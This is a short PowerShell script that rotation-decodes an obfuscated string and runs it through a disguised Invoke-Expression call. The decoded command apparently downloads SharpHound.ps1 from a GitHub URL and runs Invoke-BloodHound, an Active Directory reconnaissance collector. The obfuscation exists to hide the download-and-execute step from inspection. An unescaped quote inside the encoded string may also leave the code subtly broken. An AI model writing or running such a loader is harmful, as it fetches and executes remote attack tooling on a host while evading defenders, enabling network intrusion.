Begin{

    [Int32[]]$Rot=7
    [string]$Text="pl!/p~y/.o{{wzA66yh~5np{o|i|zlyjvu{lu{5jvt6w|jrplz{"sl6wv~lyzolss6thz{ly6ZohywOv|uk5wz8.00BPu}vrl4IsvvkOv|uk 4Jvsslj{pvuTl{ovk Hss"
    [System.Collections.ArrayList]$AsciiChars = @()

    $CharsIndex = 1
    $StartAscii = 33
    $EndAscii = 126
    #Add chars from ascii table
    ForEach($i in $StartAscii..$EndAscii)
    {
        $Char = [char]$i
        [pscustomobject]$Result = @{
            Index = $CharsIndex
            Char = $Char
        }
        [void]$AsciiChars.Add($Result)
        $CharsIndex++
    }
}

Process{
    ForEach($Rot2 in $Rot)
    {
        $ResultText = [String]::Empty
        #Go through each char in string
        ForEach($i in 0..($Text.Length -1))
        {
            $CurrentChar = $Text.Substring($i, 1)
            If(($AsciiChars.Char -ccontains $CurrentChar) -and ($CurrentChar -ne " ")) # Upper chars
            {
               [int]$NewIndex = ($AsciiChars | Where-Object {$_.Char -ceq $CurrentChar}).Index - $Rot2
               If($NewIndex -lt 1)
               {
                  $NewIndex += $AsciiChars.Count
                  $ResultText +=  ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
               }
               Else
               {
                  $ResultText += ($AsciiChars | Where-Object {$_.Index -eq $NewIndex}).Char
               }
            }Else{$ResultText += $CurrentChar}
        }

       Try{#EXECUTE
          echo "$ResultText"|&(DIR Alias:/I*X)
       }catch{Write-Host "x Error: execution failed .." -ForeGroundColor red}
    }
}